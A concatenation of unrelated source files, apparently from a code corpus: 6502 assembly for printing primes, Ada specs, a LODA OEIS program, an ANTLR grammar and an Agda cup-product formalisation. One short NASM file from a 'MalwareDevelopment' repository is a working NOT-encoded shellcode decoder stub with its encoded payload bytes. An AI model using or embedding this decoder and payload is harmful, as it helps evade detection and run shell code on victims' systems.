sta.z test_idx
__b4:
// while (test_idx<=test_last)
lda.z test_last
cmp.z test_idx
bcs __b3
// PRIMES[++prime_idx] = potential;
inc.z prime_idx
bne !+
inc.z prime_idx+1
!:
// PRIMES[++prime_idx] = potential
lda.z prime_idx
asl
sta.z __14
lda.z prime_idx+1
rol
sta.z __14+1
lda.z __15
clc
adc #<PRIMES
sta.z __15
lda.z __15+1
adc #>PRIMES
sta.z __15+1
ldy #0
lda.z potential
sta (__15),y
iny
lda.z potential+1
sta (__15),y
// print_uint_decimal(potential)
jsr print_uint_decimal
// print_char(' ')
lda #' '
jsr print_char
// while(prime_idx<totalprimes)
lda.z prime_idx+1
cmp #>$3e8
bcs !__b1+
jmp __b1
!__b1:
bne !+
lda.z prime_idx
cmp #<$3e8
bcs !__b1+
jmp __b1
!__b1:
!:
// }
rts
}
// Perform binary multiplication of two unsigned 8-bit chars into a 16-bit unsigned int
// __zp($e) unsigned int mul8u(__register(X) char a, __register(A) char b)
mul8u: {
.label mb = 2
.label res = $e
.label return = $e
// unsigned int mb = b
sta.z mb
lda #0
sta.z mb+1
sta.z res
sta.z res+1
__b1:
// while(a!=0)
cpx #0
bne __b2
// }
rts
__b2:
// a&1
txa
and #1
// if( (a&1) != 0)
cmp #0
beq __b3
// res = res + mb
clc
lda.z res
adc.z mb
sta.z res
lda.z res+1
adc.z mb+1
sta.z res+1
__b3:
// a = a>>1
txa
lsr
tax
// mb = mb<<1
asl.z mb
rol.z mb+1
jmp __b1
}
// Divide unsigned 16-bit unsigned long dividend with a 8-bit unsigned char divisor
// The 8-bit unsigned char remainder can be found in rem8u after the division
// unsigned int div16u8u(__zp($10) unsigned int dividend, __zp(8) char divisor)
div16u8u: {
.label dividend = $10
.label divisor = 8
// unsigned char quotient_hi = divr8u(BYTE1(dividend), divisor, 0)
lda.z dividend+1
sta.z divr8u.dividend
ldy #0
jsr divr8u
// unsigned char quotient_lo = divr8u(BYTE0(dividend), divisor, rem8u)
lda.z dividend
sta.z divr8u.dividend
jsr divr8u
// }
rts
}
// Print a unsigned int as DECIMAL
// void print_uint_decimal(__zp($10) unsigned int w)
print_uint_decimal: {
.label w = $10
// utoa(w, decimal_digits, DECIMAL)
lda.z w
sta.z utoa.value
lda.z w+1
sta.z utoa.value+1
jsr utoa
// print_str(decimal_digits)
jsr print_str
// }
rts
}
// Print a single char
// void print_char(__register(A) char ch)
print_char: {
// *(print_char_cursor++) = ch
ldy #0
sta (print_char_cursor),y
// *(print_char_cursor++) = ch;
inc.z print_char_cursor
bne !+
inc.z print_char_cursor+1
!:
// }
rts
}
// Performs division on two 8 bit unsigned chars and an initial remainder
// Returns dividend/divisor.
// The final remainder will be set into the global variable rem8u
// Implemented using simple binary division
// __zp(6) char divr8u(__zp(7) char dividend, __zp(8) char divisor, __register(Y) char rem)
divr8u: {
.label dividend = 7
.label quotient = 6
.label return = 6
.label divisor = 8
ldx #0
txa
sta.z quotient
__b1:
// rem = rem << 1
tya
asl
tay
// dividend & $80
lda #$80
and.z dividend
// if( (dividend & $80) != 0 )
cmp #0
beq __b2
// rem = rem | 1
tya
ora #1
tay
__b2:
// dividend = dividend << 1
asl.z dividend
// quotient = quotient << 1
asl.z quotient
// if(rem>=divisor)
cpy.z divisor
bcc __b3
// quotient++;
inc.z quotient
// rem = rem - divisor
tya
sec
sbc.z divisor
tay
__b3:
// for( char i : 0..7)
inx
cpx #8
bne __b1
// rem8u = rem
// }
rts
}
// Converts unsigned number value to a string representing it in RADIX format.
// If the leading digits are zero they are not included in the string.
// - value : The number to be converted to RADIX
// - buffer : receives the string representing the number and zero-termination.
// - radix : The radix to convert the number to (from the enum RADIX)
// void utoa(__zp(2) unsigned int value, __zp(9) char *buffer, char radix)
utoa: {
.const max_digits = 5
.label value = 2
.label digit_value = 4
.label buffer = 9
.label digit = $d
lda #<decimal_digits
sta.z buffer
lda #>decimal_digits
sta.z buffer+1
ldx #0
txa
sta.z digit
__b1:
// for( char digit=0; digit<max_digits-1; digit++ )
lda.z digit
cmp #max_digits-1
bcc __b2
// *buffer++ = DIGITS[(char)value]
ldx.z value
lda DIGITS,x
ldy #0
sta (buffer),y
// *buffer++ = DIGITS[(char)value];
inc.z buffer
bne !+
inc.z buffer+1
!:
// *buffer = 0
lda #0
tay
sta (buffer),y
// }
rts
__b2:
// unsigned int digit_value = digit_values[digit]
lda.z digit
asl
tay
lda RADIX_DECIMAL_VALUES,y
sta.z digit_value
lda RADIX_DECIMAL_VALUES+1,y
sta.z digit_value+1
// if (started || value >= digit_value)
cpx #0
bne __b5
cmp.z value+1
bne !+
lda.z digit_value
cmp.z value
beq __b5
!:
bcc __b5
__b4:
// for( char digit=0; digit<max_digits-1; digit++ )
inc.z digit
jmp __b1
__b5:
// utoa_append(buffer++, value, digit_value)
jsr utoa_append
// utoa_append(buffer++, value, digit_value)
// value = utoa_append(buffer++, value, digit_value)
// value = utoa_append(buffer++, value, digit_value);
inc.z buffer
bne !+
inc.z buffer+1
!:
ldx #1
jmp __b4
}
// Print a zero-terminated string
// void print_str(__zp(9) char *str)
print_str: {
.label str = 9
lda #<decimal_digits
sta.z str
lda #>decimal_digits
sta.z str+1
__b1:
// while(*str)
ldy #0
lda (str),y
cmp #0
bne __b2
// }
rts
__b2:
// print_char(*(str++))
ldy #0
lda (str),y
jsr print_char
// print_char(*(str++));
inc.z str
bne !+
inc.z str+1
!:
jmp __b1
}
// Used to convert a single digit of an unsigned number value to a string representation
// Counts a single digit up from '0' as long as the value is larger than sub.
// Each time the digit is increased sub is subtracted from value.
// - buffer : pointer to the char that receives the digit
// - value : The value where the digit will be derived from
// - sub : the value of a '1' in the digit. Subtracted continually while the digit is increased.
// (For decimal the subs used are 10000, 1000, 100, 10, 1)
// returns : the value reduced by sub * digit so that it is less than sub.
// __zp(2) unsigned int utoa_append(__zp(9) char *buffer, __zp(2) unsigned int value, __zp(4) unsigned int sub)
utoa_append: {
.label buffer = 9
.label value = 2
.label sub = 4
.label return = 2
ldx #0
__b1:
// while (value >= sub)
lda.z sub+1
cmp.z value+1
bne !+
lda.z sub
cmp.z value
beq __b2
!:
bcc __b2
// *buffer = DIGITS[digit]
lda DIGITS,x
ldy #0
sta (buffer),y
// }
rts
__b2:
// digit++;
inx
// value -= sub
lda.z value
sec
sbc.z sub
sta.z value
lda.z value+1
sbc.z sub+1
sta.z value+1
jmp __b1
}
.segment Data
// The digits used for numbers
DIGITS: .text "0123456789abcdef"
// Values of decimal digits
RADIX_DECIMAL_VALUES: .word $2710, $3e8, $64, $a
// Digits used for storing the decimal unsigned int
decimal_digits: .fill 6, 0
// Table that is filled with the primes we are finding
PRIMES: .fill 2*$3e8, 0
|
src/extraction-bodies_for_decls.ads | TNO/Dependency_Graph_Extractor-Ada | 1 | 25512 | with Extraction.Graph_Operations;
private package Extraction.Bodies_For_Decls is
procedure Extract_Edges
(Node : LAL.Ada_Node'Class;
Graph : Graph_Operations.Graph_Context);
end Extraction.Bodies_For_Decls;
|
code/misc/shellcode/encoders/not/not_decoder.nasm | rbctee/MalwareDevelopment | 0 | 13966 | ; Author: rbct
; Shellcode length: 19 bytes without the encoded shellcode
global _start
section .text
_start:
jmp short CallDecodeShellcode
DecodeShellcode:
pop esi
xor ecx, ecx
mov cl, 27
DecodeByte:
not byte [esi]
inc esi
loop DecodeByte
jmp short shellcode
CallDecodeShellcode:
call DecodeShellcode
shellcode: db 0xce, 0x3f, 0xaf, 0x97, 0x91, 0xd0, 0x8c, 0x97, 0x97, 0xd0, 0xd0, 0x9d, 0x96, 0x4f, 0xf4, 0x76, 0x1c, 0x72, 0xb3, 0xdb, 0xf7, 0x72, 0xab, 0xdb, 0xf7, 0x32, 0x7f
|
source/amf/mof/cmof/amf-internals-tables-cmof_types.ads | svn2github/matreshka | 24 | 15027 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2010-2012, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This file is generated, don't edit it.
------------------------------------------------------------------------------
with AMF.CMOF;
with AMF.Elements;
with Matreshka.Internals.Strings;
package AMF.Internals.Tables.CMOF_Types is
pragma Preelaborate;
type Element_Kinds is
(E_None,
E_CMOF_Association,
E_CMOF_Class,
E_CMOF_Comment,
E_CMOF_Constraint,
E_CMOF_Data_Type,
E_CMOF_Element_Import,
E_CMOF_Enumeration,
E_CMOF_Enumeration_Literal,
E_CMOF_Expression,
E_CMOF_Opaque_Expression,
E_CMOF_Operation,
E_CMOF_Package,
E_CMOF_Package_Import,
E_CMOF_Package_Merge,
E_CMOF_Parameter,
E_CMOF_Primitive_Type,
E_CMOF_Property,
E_CMOF_Tag);
type Member_Kinds is
(M_None,
M_Boolean,
M_Collection_Of_Element,
M_Collection_Of_String,
M_Element,
M_Holder_Of_Integer,
M_Holder_Of_Unlimited_Natural,
M_Holder_Of_Visibility_Kind,
M_Parameter_Direction_Kind,
M_String,
M_Visibility_Kind);
type Member_Record (Kind : Member_Kinds := M_None) is record
case Kind is
when M_None =>
null;
when M_Boolean =>
Boolean_Value : Boolean;
when M_Collection_Of_Element =>
Collection : AMF.Internals.AMF_Collection_Of_Element;
when M_Collection_Of_String =>
String_Collection : AMF.Internals.AMF_Collection_Of_String;
when M_Element =>
Link : AMF.Internals.AMF_Link;
when M_Holder_Of_Integer =>
Integer_Holder : AMF.Optional_Integer;
when M_Holder_Of_Unlimited_Natural =>
Unlimited_Natural_Holder : AMF.Optional_Unlimited_Natural;
when M_Holder_Of_Visibility_Kind =>
Visibility_Kind_Holder : AMF.CMOF.Optional_CMOF_Visibility_Kind;
when M_Parameter_Direction_Kind =>
Parameter_Direction_Kind_Value : AMF.CMOF.CMOF_Parameter_Direction_Kind;
when M_String =>
String_Value : Matreshka.Internals.Strings.Shared_String_Access;
when M_Visibility_Kind =>
Visibility_Kind_Value : AMF.CMOF.CMOF_Visibility_Kind;
end case;
end record;
type Member_Array is array (Natural range 0 .. 21) of Member_Record;
type Element_Record is record
Kind : Element_Kinds := E_None;
Extent : AMF.Internals.AMF_Extent;
Proxy : AMF.Elements.Element_Access;
Member : Member_Array;
end record;
end AMF.Internals.Tables.CMOF_Types;
|
programs/oeis/279/A279054.asm | karttu/loda | 0 | 16691 | ; A279054: Largest integer m for which binomial(m,n-1) > binomial(m-1,n).
; 1,4,7,9,12,14,17,20,22,25,28,30,33,35,38,41,43,46,49,51,54,56,59,62,64,67,69,72,75,77,80,83,85,88,90,93,96,98,101,103,106,109,111,114,117,119,122,124,127,130,132,135,138,140,143,145,148,151,153,156,158,161,164,166,169,172,174,177,179,182,185,187,190,193,195,198,200,203,206,208,211,213,216,219,221,224,227,229,232,234,237,240,242,245,247,250,253,255,258,261,263,266,268,271,274,276,279,282,284,287,289,292,295,297,300,302,305,308,310,313,316,318,321,323,326,329,331,334,337,339,342,344,347,350,352,355,357,360,363,365,368,371,373,376,378,381,384,386,389,391,394,397,399,402,405,407,410,412,415,418,420,423,426,428,431,433,436,439,441,444,446,449,452,454,457,460,462,465,467,470,473,475,478,480,483,486,488,491,494,496,499,501,504,507,509,512,515,517,520,522,525,528,530,533,535,538,541,543,546,549,551,554,556,559,562,564,567,570,572,575,577,580,583,585,588,590,593,596,598,601,604,606,609,611,614,617,619,622,624,627,630,632,635,638,640,643,645,648,651,653
mov $7,$0
add $7,1
mov $9,$0
lpb $7,1
mov $0,$9
sub $7,1
sub $0,$7
mov $11,2
mov $12,$0
lpb $11,1
sub $11,1
add $0,$11
sub $0,1
mov $6,1
mul $6,$0
mov $5,$6
add $5,1
mov $3,$5
mul $3,$6
mov $4,$5
lpb $3,1
add $4,2
trn $3,$4
lpe
mov $8,$4
mov $10,$11
lpb $10,1
mov $2,$8
sub $10,1
lpe
lpe
lpb $12,1
sub $2,$8
mov $12,0
lpe
mov $8,$2
div $8,2
add $8,2
add $1,$8
lpe
sub $1,1
|
src/main/antlr/SublimeSnippetContentParser.g4 | 6uhrmittag/intellij-sublime-snippets-support | 7 | 5755 | <reponame>6uhrmittag/intellij-sublime-snippets-support<gh_stars>1-10
parser grammar SublimeSnippetContentParser;
options { tokenVocab=SublimeSnippetContentLexer; }
snippet
: (field | text)*
;
text
: TextCharacter+
;
field
: fieldUnbracketed
| fieldBracketed
| fieldBracketedWithPlaceholder
| fieldBracketedWithSubstitution
;
fieldUnbracketed
: FieldUnbracketed
;
fieldBracketed
: FieldBracketed
;
textInside
: Inside_TextCharacter+
;
fieldBracketedWithPlaceholder
: FieldBracketedWithPlaceholderStart (field | textInside)* FieldBracketedEnd
;
fieldBracketedWithSubstitution
: FieldBracketedWithSubstitution
;
|
oeis/086/A086616.asm | neoneye/loda-programs | 11 | 240894 | <reponame>neoneye/loda-programs
; A086616: Partial sums of the large Schroeder numbers (A006318).
; Submitted by <NAME>
; 1,3,9,31,121,515,2321,10879,52465,258563,1296281,6589727,33887465,175966211,921353249,4858956287,25786112993,137604139011,737922992937,3974647310111,21493266631001,116642921832963,635074797251889,3467998148181631,18989465797056721,104239408386028035,573525556257865401,3162284447218503199,17470690556316346825,96698722376309481475,536141504991923843137,2977404514238099695615,16559690128452002885569,92232235466248463785987,514390763273169713469001,2872435798269986809987615
mov $4,$0
mov $6,$0
add $6,1
lpb $6
mov $0,$4
sub $6,1
sub $0,$6
mov $1,1
mov $2,1
mov $3,$0
lpb $3
mul $1,$0
mul $1,2
add $3,1
mul $2,$3
sub $3,1
mul $2,$3
add $1,$2
sub $3,1
max $3,1
add $0,$3
lpe
mul $1,$0
div $1,$2
mov $0,$1
add $0,1
add $5,$0
lpe
mov $0,$5
|
size_test/size_fsub.asm | DW0RKiN/Floating-point-Library-for-Z80 | 12 | 167507 | <gh_stars>10-100
INCLUDE "finit.asm"
INCLUDE "size_settings.asm"
; Lookup tables
; Subroutines
INCLUDE "fsub.asm"
|
theorems/cohomology/CupProduct/OnEM/InAllDegrees.agda | AntoineAllioux/HoTT-Agda | 294 | 12335 | {-# OPTIONS --without-K --rewriting #-}
open import HoTT
open import homotopy.EilenbergMacLane
open import homotopy.EilenbergMacLane1
open import homotopy.EilenbergMacLaneFunctor
open import homotopy.SmashFmapConn
open import homotopy.IterSuspSmash
open import cohomology.CupProduct.OnEM.InLowDegrees2
module cohomology.CupProduct.OnEM.InAllDegrees where
module _ {i} (A : AbGroup i) where
private
module A = AbGroup A
open EMExplicit
inv-path : A == A
inv-path = uaᴬᴳ A A (inv-iso A)
⊙cond-neg : ∀ (k : ℕ) → Bool
→ ⊙EM A k ⊙→ ⊙EM A k
⊙cond-neg k b =
⊙transport (λ G → ⊙EM G k) {x = A} {y = A} (Bool-elim inv-path idp b)
⊙cond-neg-∘ : ∀ (k : ℕ) (b c : Bool)
→ ⊙cond-neg k b ◃⊙∘ ⊙cond-neg k c ◃⊙idf
=⊙∘
⊙cond-neg k (xor b c) ◃⊙idf
⊙cond-neg-∘ k true true =
⊙transport (λ G → ⊙EM G k) {x = A} {y = A} inv-path ◃⊙∘
⊙transport (λ G → ⊙EM G k) {x = A} {y = A} inv-path ◃⊙idf
=⊙∘₁⟨ 0 & 1 & ⊙transport-⊙EM-uaᴬᴳ A A (inv-iso A) k ⟩
⊙EM-fmap A A (–>ᴳ (inv-iso A)) k ◃⊙∘
⊙transport (λ G → ⊙EM G k) {x = A} {y = A} inv-path ◃⊙idf
=⊙∘₁⟨ 1 & 1 & ⊙transport-⊙EM-uaᴬᴳ A A (inv-iso A) k ⟩
⊙EM-fmap A A (–>ᴳ (inv-iso A)) k ◃⊙∘
⊙EM-fmap A A (–>ᴳ (inv-iso A)) k ◃⊙idf
=⊙∘₁⟨ ! $ ⊙EM-fmap-∘ A A A (–>ᴳ (inv-iso A)) (–>ᴳ (inv-iso A)) k ⟩
⊙EM-fmap A A (–>ᴳ (inv-iso A) ∘ᴳ –>ᴳ (inv-iso A)) k ◃⊙idf
=⊙∘₁⟨ ap (λ φ → ⊙EM-fmap A A φ k) $
group-hom= {ψ = idhom _} (λ= A.inv-inv) ⟩
⊙EM-fmap A A (idhom _) k ◃⊙idf
=⊙∘₁⟨ ⊙EM-fmap-idhom A k ⟩
⊙idf _ ◃⊙idf ∎⊙∘
⊙cond-neg-∘ k true false = =⊙∘-in idp
⊙cond-neg-∘ k false true = =⊙∘-in (⊙λ= (⊙∘-unit-l (⊙cond-neg k true)))
⊙cond-neg-∘ k false false = =⊙∘-in idp
⊙maybe-Susp^-flip-⊙cond-neg : ∀ (k : ℕ) (b : Bool)
→ (k == 0 → b == false)
→ ⊙Trunc-fmap (⊙maybe-Susp^-flip k b) == ⊙cond-neg (S k) b
⊙maybe-Susp^-flip-⊙cond-neg O b h =
⊙Trunc-fmap (⊙idf (⊙EM₁ A.grp))
=⟨ ⊙λ= ⊙Trunc-fmap-⊙idf ⟩
⊙idf (⊙EM A 1)
=⟨ ap (⊙cond-neg 1) (! (h idp)) ⟩
⊙cond-neg 1 b =∎
⊙maybe-Susp^-flip-⊙cond-neg (S k) true h =
⊙Trunc-fmap (⊙Susp-flip (⊙Susp^ k (⊙EM₁ A.grp)))
=⟨ ! (⊙EM-neg=⊙Trunc-fmap-⊙Susp-flip A k) ⟩
⊙EM-neg A (S (S k))
=⟨ ! (⊙transport-⊙EM-uaᴬᴳ A A (inv-iso A) (S (S k))) ⟩
⊙transport (λ G → ⊙EM G (S (S k))) {x = A} {y = A} inv-path =∎
⊙maybe-Susp^-flip-⊙cond-neg (S k) false h = ⊙λ= (⊙Trunc-fmap-⊙idf)
⊙EM2-Susp-seq : ∀ (k : ℕ)
→ ⊙Susp^ k (⊙EM A 2) ⊙–→ ⊙EM A (S (S k))
⊙EM2-Susp-seq k =
⊙transport (λ l → ⊙Trunc l (⊙Susp^ (S k) (⊙EM₁ A.grp))) (+2+-comm ⟨ k ⟩₋₂ 2) ◃⊙∘
⊙Trunc-fmap (⊙Susp^-swap k 1 {⊙EM₁ A.grp}) ◃⊙∘
⊙Susp^-Trunc-swap (⊙Susp (EM₁ A.grp)) 2 k ◃⊙idf
⊙EM2-Susp : ∀ (k : ℕ)
→ ⊙Susp^ k (⊙EM A 2) ⊙→ ⊙EM A (S (S k))
⊙EM2-Susp k = ⊙compose (⊙EM2-Susp-seq k)
⊙EM2-Susp-⊙maybe-Susp^-flip : ∀ (k : ℕ) (b : Bool)
→ (k == 0 → b == false)
→ ⊙EM2-Susp k ◃⊙∘
⊙maybe-Susp^-flip k b ◃⊙idf
=⊙∘
⊙Trunc-fmap (⊙maybe-Susp^-flip {X = ⊙EM₁ A.grp} (S k) b) ◃⊙∘
⊙EM2-Susp k ◃⊙idf
⊙EM2-Susp-⊙maybe-Susp^-flip k b h =
⊙EM2-Susp k ◃⊙∘
⊙maybe-Susp^-flip k b ◃⊙idf
=⊙∘⟨ 0 & 1 & ⊙expand (⊙EM2-Susp-seq k) ⟩
⊙transport (λ l → ⊙Trunc l (⊙Susp^ (S k) (⊙EM₁ A.grp))) (+2+-comm ⟨ k ⟩₋₂ 2) ◃⊙∘
⊙Trunc-fmap (⊙Susp^-swap k 1 {⊙EM₁ A.grp}) ◃⊙∘
⊙Susp^-Trunc-swap (⊙Susp (EM₁ A.grp)) 2 k ◃⊙∘
⊙maybe-Susp^-flip k b ◃⊙idf
=⊙∘⟨ 2 & 2 & ⊙Susp^-Trunc-swap-⊙maybe-Susp^-flip (⊙Susp (EM₁ A.grp)) 2 k b ⟩
⊙transport (λ l → ⊙Trunc l (⊙Susp^ (S k) (⊙EM₁ A.grp))) (+2+-comm ⟨ k ⟩₋₂ 2) ◃⊙∘
⊙Trunc-fmap (⊙Susp^-swap k 1 {⊙EM₁ A.grp}) ◃⊙∘
⊙Trunc-fmap (⊙maybe-Susp^-flip k b) ◃⊙∘
⊙Susp^-Trunc-swap (⊙Susp (EM₁ A.grp)) 2 k ◃⊙idf
=⊙∘⟨ 1 & 2 & ⊙Trunc-fmap-seq-=⊙∘ p ⟩
⊙transport (λ l → ⊙Trunc l (⊙Susp^ (S k) (⊙EM₁ A.grp))) (+2+-comm ⟨ k ⟩₋₂ 2) ◃⊙∘
⊙Trunc-fmap (⊙maybe-Susp-flip (⊙Susp^ k (⊙EM₁ A.grp)) b) ◃⊙∘
⊙Trunc-fmap (⊙Susp^-swap k 1 {⊙EM₁ A.grp}) ◃⊙∘
⊙Susp^-Trunc-swap (⊙Susp (EM₁ A.grp)) 2 k ◃⊙idf
=⊙∘⟨ 0 & 2 & !⊙∘ $
⊙transport-natural-=⊙∘
(+2+-comm ⟨ k ⟩₋₂ 2)
(λ l → ⊙Trunc-fmap {n = l} (⊙maybe-Susp^-flip (S k) b)) ⟩
⊙Trunc-fmap (⊙maybe-Susp-flip (⊙Susp^ k (⊙EM₁ A.grp)) b) ◃⊙∘
⊙transport (λ l → ⊙Trunc l (⊙Susp^ (S k) (⊙EM₁ A.grp))) (+2+-comm ⟨ k ⟩₋₂ 2) ◃⊙∘
⊙Trunc-fmap (⊙Susp^-swap k 1 {⊙EM₁ A.grp}) ◃⊙∘
⊙Susp^-Trunc-swap (⊙Susp (EM₁ A.grp)) 2 k ◃⊙idf
=⊙∘⟨ 1 & 3 & ⊙contract ⟩
⊙Trunc-fmap (⊙maybe-Susp-flip (⊙Susp^ k (⊙EM₁ A.grp)) b) ◃⊙∘
⊙EM2-Susp k ◃⊙idf ∎⊙∘
where
p : ⊙Susp^-swap k 1 {⊙EM₁ A.grp} ◃⊙∘
⊙maybe-Susp^-flip k b ◃⊙idf
=⊙∘
⊙maybe-Susp^-flip {X = ⊙EM₁ A.grp} (S k) b ◃⊙∘
⊙Susp^-swap k 1 {⊙EM₁ A.grp} ◃⊙idf
p =
⊙Susp^-swap k 1 {⊙EM₁ A.grp} ◃⊙∘
⊙maybe-Susp^-flip k b ◃⊙idf
=⊙∘⟨ !⊙∘ $ ⊙maybe-Susp^-flip-⊙Susp^-comm (⊙EM₁ A.grp) k 1 b ⟩
⊙Susp-fmap (fst (⊙maybe-Susp^-flip k b)) ◃⊙∘
⊙coe (⊙Susp^-comm k 1) ◃⊙idf
=⊙∘₁⟨ 0 & 1 & ap ⊙Susp-fmap (de⊙-⊙maybe-Susp^-flip k b) ∙
⊙Susp-fmap-maybe-Susp^-flip k b h ⟩
⊙maybe-Susp-flip (⊙Susp^ k (⊙EM₁ A.grp)) b ◃⊙∘
⊙Susp^-swap k 1 ◃⊙idf ∎⊙∘
⊙cpₕₕ''-seq : ∀ (m n : ℕ)
→ ⊙Susp^ (m + n) (⊙EM A 2) ⊙–→ ⊙EM A (S m + S n)
⊙cpₕₕ''-seq m n =
⊙cond-neg (S m + S n) (odd n) ◃⊙∘
⊙transport (⊙EM A) (! (+-βr (S m) n)) ◃⊙∘
⊙EM2-Susp (m + n) ◃⊙idf
⊙cpₕₕ'' : ∀ (m n : ℕ)
→ ⊙Susp^ (m + n) (⊙EM A 2) ⊙→ ⊙EM A (S m + S n)
⊙cpₕₕ'' m n = ⊙compose (⊙cpₕₕ''-seq m n)
module _ {i j} {X : Ptd i} {Y : Ptd j} where
→-⊙→-uncurry : ∀ {k} {Z : Ptd k}
→ (de⊙ X → Y ⊙→ Z)
→ X ⊙× Y ⊙→ Z
→-⊙→-uncurry f =
uncurry (λ x y → fst (f x) y) , snd (f (pt X))
module _ {i} {j} (G : AbGroup i) (H : AbGroup j) where
private
module G = AbGroup G
module H = AbGroup H
module G⊗H = TensorProduct G H
open EMExplicit
⊙∧-cpₕₕ'-seq : ∀ (m n : ℕ)
→ (⊙Susp^ m (⊙EM₁ G.grp) ⊙∧ ⊙Susp^ n (⊙EM₁ H.grp))
⊙–→
⊙EM G⊗H.abgroup (S m + S n)
⊙∧-cpₕₕ'-seq m n =
⊙cpₕₕ'' G⊗H.abgroup m n ◃⊙∘
⊙Susp^-fmap (m + n) (⊙∧-cp₁₁ G H) ◃⊙∘
⊙Σ^∧Σ^-out (⊙EM₁ G.grp) (⊙EM₁ H.grp) m n ◃⊙idf
⊙∧-cpₕₕ' : ∀ (m n : ℕ)
→ ⊙Susp^ m (⊙EM₁ G.grp) ⊙∧ ⊙Susp^ n (⊙EM₁ H.grp) ⊙→ ⊙EM G⊗H.abgroup (S m + S n)
⊙∧-cpₕₕ' m n = ⊙compose (⊙∧-cpₕₕ'-seq m n)
∧-cpₕₕ' : ∀ (m n : ℕ)
→ ⊙Susp^ m (⊙EM₁ G.grp) ∧ ⊙Susp^ n (⊙EM₁ H.grp)
→ EM G⊗H.abgroup (S m + S n)
∧-cpₕₕ' m n = fst (⊙∧-cpₕₕ' m n)
⊙smash-truncate : ∀ (m n : ℕ)
→ ⊙Susp^ m (⊙EM₁ G.grp) ⊙∧ ⊙Susp^ n (⊙EM₁ H.grp)
⊙→ ⊙EM G (S m) ⊙∧ ⊙EM H (S n)
⊙smash-truncate m n =
⊙∧-fmap
([_] {n = ⟨ S m ⟩} {A = Susp^ m (EM₁ G.grp)} , idp)
([_] {n = ⟨ S n ⟩} {A = Susp^ n (EM₁ H.grp)} , idp)
smash-truncate : ∀ (m n : ℕ)
→ ⊙Susp^ m (⊙EM₁ G.grp) ∧ ⊙Susp^ n (⊙EM₁ H.grp)
→ ⊙EM G (S m) ∧ ⊙EM H (S n)
smash-truncate m n = fst (⊙smash-truncate m n)
smash-truncate-conn : ∀ (m n : ℕ)
→ has-conn-fibers ⟨ S m + S n ⟩ (smash-truncate m n)
smash-truncate-conn m n =
transport (λ k → has-conn-fibers k (smash-truncate m n)) p $
∧-fmap-conn
([_] {n = ⟨ S m ⟩} {A = Susp^ m (EM₁ G.grp)} , idp)
([_] {n = ⟨ S n ⟩} {A = Susp^ n (EM₁ H.grp)} , idp)
(EM-conn G m)
(⊙Susp^-conn' n {{EM₁-conn}})
(trunc-proj-conn (Susp^ m (EM₁ G.grp)) ⟨ S m ⟩)
(trunc-proj-conn (Susp^ n (EM₁ H.grp)) ⟨ S n ⟩)
where
p₁ : ⟨ n ⟩₋₁ +2+ ⟨ S m ⟩ == ⟨ S m + S n ⟩
p₁ =
⟨ n ⟩₋₁ +2+ ⟨ S m ⟩
=⟨ ! (+-+2+ (S n) (S (S (S m)))) ⟩
⟨ n + S (S (S m)) ⟩₋₁
=⟨ ap ⟨_⟩₋₁ (+-βr n (S (S m))) ⟩
⟨ n + S (S m) ⟩
=⟨ ap ⟨_⟩ (+-βr n (S m)) ⟩
⟨ S n + S m ⟩
=⟨ ap ⟨_⟩ (+-comm (S n) (S m)) ⟩
⟨ S m + S n ⟩ =∎
p₂ : ⟨ m ⟩₋₁ +2+ ⟨ S n ⟩ == ⟨ S m + S n ⟩
p₂ =
⟨ m ⟩₋₁ +2+ ⟨ S n ⟩
=⟨ ! (+-+2+ (S m) (S (S (S n)))) ⟩
⟨ m + S (S (S n)) ⟩₋₁
=⟨ ap ⟨_⟩₋₁ (+-βr m (S (S n))) ⟩
⟨ m + S (S n) ⟩
=⟨ ap ⟨_⟩ (+-βr m (S n)) ⟩
⟨ S m + S n ⟩ =∎
p : minT (⟨ n ⟩₋₁ +2+ ⟨ S m ⟩) (⟨ m ⟩₋₁ +2+ ⟨ S n ⟩) == ⟨ S m + S n ⟩
p =
minT (⟨ n ⟩₋₁ +2+ ⟨ S m ⟩) (⟨ m ⟩₋₁ +2+ ⟨ S n ⟩)
=⟨ ap2 minT p₁ p₂ ⟩
minT ⟨ S m + S n ⟩ ⟨ S m + S n ⟩
=⟨ minT-out-l ≤T-refl ⟩
⟨ S m + S n ⟩ =∎
module SmashCPₕₕ (m n : ℕ) =
⊙ConnExtend
{Z = ⊙EM G⊗H.abgroup (S m + S n)}
{n = ⟨ S m + S n ⟩}
(⊙smash-truncate m n)
(smash-truncate-conn m n)
(EM-level G⊗H.abgroup (S m + S n))
⊙∧-cpₕₕ : ∀ (m n : ℕ)
→ ⊙EM G (S m) ⊙∧ ⊙EM H (S n) ⊙→ ⊙EM G⊗H.abgroup (S m + S n)
